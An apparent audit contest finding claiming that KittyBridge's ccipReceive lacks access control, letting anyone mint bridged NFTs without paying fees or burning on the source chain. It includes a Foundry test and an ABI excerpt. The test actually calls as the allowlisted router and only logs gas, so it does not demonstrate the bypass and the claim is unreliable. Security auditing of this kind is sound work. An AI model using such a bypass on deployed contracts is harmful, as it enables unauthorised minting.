In you check closely the contract of ABI you will find one function which you can call without pay
anything you can mint NFT for Free and without Burn old on source Chain
In KittyBridge::ccipReceive
function allow user to call _ccipReceive::internal
function which call directly KittyConnect::mintBridgedNFT
because the call is come from KittyBridge
this Address is valid an transaction will go throw without any issue and free NFT on link fee
or bridged fee.
In test-case you will see example of it as well.
function test_gasForCcipReceive() public { address sender = makeAddr("sender"); bytes memory data = abi.encode(makeAddr("catOwner"), "meowdy", "ragdoll", "ipfs://QmbxwGgBGrNdXPm84kqYskmcMT3jrzBN8LzQjixvkz4c62", block.timestamp, partnerA); vm.prank(kittyConnectOwner); kittyBridge.allowlistSender(networkConfig.router, true); Client.Any2EVMMessage memory message = Client.Any2EVMMessage({ messageId: bytes32(0), sourceChainSelector: networkConfig.otherChainSelector, sender: abi.encode(sender), data: data, destTokenAmounts: new Client.EVMTokenAmount[](0) }); vm.prank(networkConfig.router); uint256 initGas = gasleft(); kittyBridge.ccipReceive(message); uint256 finalGas = gasleft(); uint256 gasUsed = initGas - finalGas; console.log("Gas Used -", gasUsed); }
{ "inputs": [ { "components": [ { "internalType": "bytes32", "name": "messageId", "type": "bytes32" }, { "internalType": "uint64", "name": "sourceChainSelector", "type": "uint64" }, { "internalType": "bytes", "name": "sender", "type": "bytes" }, { "internalType": "bytes", "name": "data", "type": "bytes" }, { "components": [ { "internalType": "address", "name": "token", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "internalType": "struct Client.EVMTokenAmount[]", "name": "destTokenAmounts", "type": "tuple[]" } ], "internalType": "struct Client.Any2EVMMessage", "name": "message", "type": "tuple" } ], "name": "ccipReceive", "outputs": [], "stateMutability": "nonpayable", "type": "function" },
Bypass the security Access Control and Mint NFT
without pay fee on Bridge
or Burn
on Source Chain
Manual review
Put access control on this function by override
it
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.